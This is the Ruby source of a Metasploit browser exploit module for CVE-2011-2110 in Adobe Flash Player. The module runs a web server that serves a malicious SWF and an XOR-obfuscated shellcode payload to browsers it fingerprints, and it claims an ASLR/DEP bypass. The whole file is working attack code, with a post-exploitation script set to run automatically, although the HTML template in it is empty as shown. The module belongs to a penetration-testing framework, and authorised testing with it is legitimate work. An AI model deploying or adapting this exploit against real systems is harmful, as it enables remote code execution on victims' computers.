## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution', 'Description' => %q{ This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23 and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same vulnerability that was used for attacks against Korean based organizations. Specifically, this issue occurs when indexing an array using an arbitrary value, memory can be referenced and later executed. Taking advantage of this issue does not rely on heap spraying as the vulnerability can also be used for information leakage. Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and is very reliable. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me ', # msf exploit 'Unknown' # malware version seen used in targeted attacks ], 'References' => [ ['CVE', '2011-2110'], ['OSVDB', '73007'], ['BID', '48268'], ['URL', 'http://www.adobe.com/devnet/swf.html'], ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'], ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'], ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {}], ], 'DisclosureDate' => 'Jun 21 2012', 'DefaultTarget' => 0)) end def exploit # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as # full aslr/dep bypass using the info leak as per malware path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf" ) fd = File.open( path, "rb" ) @swf = fd.read(fd.stat.size) fd.close super end def check_dependencies use_zlib end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /MSIE/ return targets[0] # ie 6/7/8 tested working elsif agent =~ /Firefox/ return targets[0] # ff 10.2 tested working else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end xor_byte = 122 trigger = @swf trigger_file = rand_text_alpha(rand(6)+3) + ".swf" code = rand_text_alpha(rand(6)+3) + ".txt" sc = Zlib::Deflate.deflate(payload.encoded) shellcode = "" sc.each_byte do | c | shellcode << (xor_byte ^ c) end uri = ((datastore['SSL']) ? "https://" : "http://") uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}" bd_uri = Zlib::Deflate.deflate(uri) uri = "" bd_uri.each_byte do | c | uri << (xor_byte ^ c) end bd_uri = uri.unpack("H*")[0] obj_id = rand_text_alpha(rand(6)+3) if request.uri.match(/\.swf/i) print_status("Sending malicious swf") send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) return end if request.uri.match(/\.txt/i) print_status("Sending payload") send_response(cli, shellcode, { 'Content-Type' => 'text/plain' }) return end html = <<-EOS
EOS html = html.gsub(/^ {4}/, '') print_status("Sending #{self.name} HTML") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end